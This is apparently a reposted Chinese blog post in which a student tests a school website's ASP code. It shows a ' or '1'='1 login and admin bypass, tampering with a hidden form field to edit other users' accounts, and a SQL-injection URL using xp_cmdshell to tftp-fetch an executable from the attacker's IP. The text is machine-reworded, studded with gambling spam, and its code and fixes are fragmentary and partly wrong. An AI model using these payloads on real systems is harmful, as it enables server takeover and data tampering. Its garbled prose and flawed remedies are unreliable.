快捷搜索:  as  2018  FtCWSyGV  С˵  test  xxx  Ψһ  w3viyKQx

澳门威尼人斯app平台:测试我们学校服务器的安全性



我自从在黉舍掩护门生会网站今后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以随意率性改动任何web页面了,由于黉舍里所有的站点都放在http://www.nothing.com/里面,不过我可不敢这样做,也不会这样做。近来进修ASP挺上瘾,就看看黉舍自己写的ASP法度榜样有什么隐患吧。、

问题一

除了前台只有少量的ASP文件,便是用户注册(是黉舍的人才能注册)、登岸、忘怀密码、小我信息改动这几个ASP文件,先看看忘怀密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看里目标文件是lostpass1.asp,再查看原代码,没有发明问题(是我的水平有限),再看下一个lostpass2.a澳门威尼人斯app平台sp,呵呵,发清楚明了一句有搭档的语句:

sql="select pwd,answer from [member] where userID='"&userID&"' and answer='"&answer&"'"

这么初级的差错也会犯,此时,您只要根据sql构造一个澳门威尼人斯app平台特殊的用户名和密码,如:' or '1'='1

这样,法度榜样将会变成这样:

sql="select pwd,answer from [member] where userID="&'or'1'=1&"and pass="&answer&"

or是一个逻辑运算符,判断两个前提的时刻,只要此中一个前提成立,那么等式将会成立,而在说话中,因此1来代表真的(成立),那么在这行语句中,原语句的"and"验证将不再继承,而由于"1=1"和"or"令语句返回为真值。这样的话我们从一开始就可以提交' or '1'='1这个来饶过验证了,不管我们在什么文本框我们都提交' or '1'='1这个都能顺利澳门威尼人斯app平台到达下一个页面,既然这样,我们用' or '1'='1来作为用户名和密码登岸,会怎么样呢?实验证实登岸成功,由于显示小我资料改动的链接了,公然正常显示了小我资料,我发明真实姓名弗成改,阐明必然有什么ID之类的来识别用户,于是直接查看网页源代码发明这么一行紧张的器械:

原本是靠这个hiddenField来辨别用户,那么假如我改动了value的值,那不是可以改动其他用户了吗?顿时拿我曩昔注册的来试,把我的号码2001010XXX调换上去,然后改动里的相对连接,另存为htm文件,然后提交我必要改动的资料。再看看我的资料,公然被改动了,这么说假如我我知道任何一个用户的hiddenField的值,就可以改动其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以办理。

不过这个破绽有点局限性,假如想改某个用户的资料必然要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台进口验证法度榜样应该也是这样,我试着登岸,成功了,所有会员的资料尽收眼底,而且随意率性添加和改动治理员,做什么都可以啊。

这个问题的警备措施着实很简单,处置惩罚输入字符就可以了,原本我还以为用replace()函数呢,就教了一下劲风,得知用mid()函数可以很好的办理,加一个判断就可以了:

us=mid(input,i,1)

if us=" " or us="'" or us="%" or us="" or us="&" then

response.redirect "error_page.asp"

response.end

几行代码就可以反省用户所输入的字符了,当然,应该只管即便多反省一些特殊字符。这行代码意思是反省输入的字符中,假如有空格、单引号、百分号和“”就重定向到error_page.asp这个页面。

虽然“海阳顶端网ASP木马”具有黑掉落黉舍办事器的能力,但我们照样要从黉舍的法度榜样入手,否则就没故意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。

问题二

平日一些资料调用文件都邑存在一些SQL injection破绽,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,由于这些文件很轻易轻忽反省变量,我看到一个shownews.asp文件。顿时打开,其原代码如下(因为此文件太大年夜,限于篇幅,我去掉落了很多无关的HTML代码):

0 then

response.write "数据库掉足"

else

if rs.bof and rs.eof then

rs.close

response.write "该新闻不存在或未颠末审核"

else

%>

"" then

response.write "文章滥觞:" & trim(rs("nfrom"))

end if %>

"" then

response.write "作者:" & trim(rs("writer"))

end if %> 浏览次数:

----------澳门威尼人斯app平台 相 关 新 闻 ----------

" & cstr(rs("newsid")) & " and audit=1 order by ntime DESC",conn,1,1

else

rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid"

do while not rsc.eof

response.write "

"

thedate="(" & cstr(year(rsc("ntime"))) & "-" & cstr(month(rsc("ntime"))) & "-" & cstr(day(rsc("ntime"))) & ")"

response.write "" & trim(rsc("topic")) & "" & thedate & ""

if month(cdate(trim(rs("ntime"))))=month(now()) and clng(day(cdate(trim(rs("ntime"))))+1)>=clng(day(now())) then

response.write "

"

end if

rsc.movenext

loop

end if

rsc.close

set rsc=nothing %>

大年夜家看到了吗?文件根本没有对任何变量做任何反省,以是这个文件怎么使用都不过份,呵呵,看到这一句,

rs.open "select * from news where newsid=" & cstr(reque澳门威尼人斯app平台st("newsid")),conn,1,1

因为法度榜样根本没有对任何变量做任何反省。我们就可以可以直接构造 newsid 发动sql injection进击,我们提交这样的代码就可以以连接这个SQL数据库的用户所拥有的权限履行系统敕令。

http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--

针对这个文件的办理法子便是用replace函数过滤,看看下面的代码:

replace(str,"'","'")

replace(str,"'","")

这两行的意思便是把单引号调换为双引号和空格。

我们黉舍办事器的系统破绽已经找不出什么器械了,然则因为Web法度榜样的问题,导致办事器被节制,黉舍的技巧职员怎么想呢?文章虽短,但问题已经阐明很清楚了。

看来Web法度榜样的问题其实弗成漠视。Web法度榜样安然的重点便是对字符反省——反省——再反省。

本人水平其实有限,写不出什么高技术手段巧的文章,在这里献丑了。

您可能还会对下面的文章感兴趣: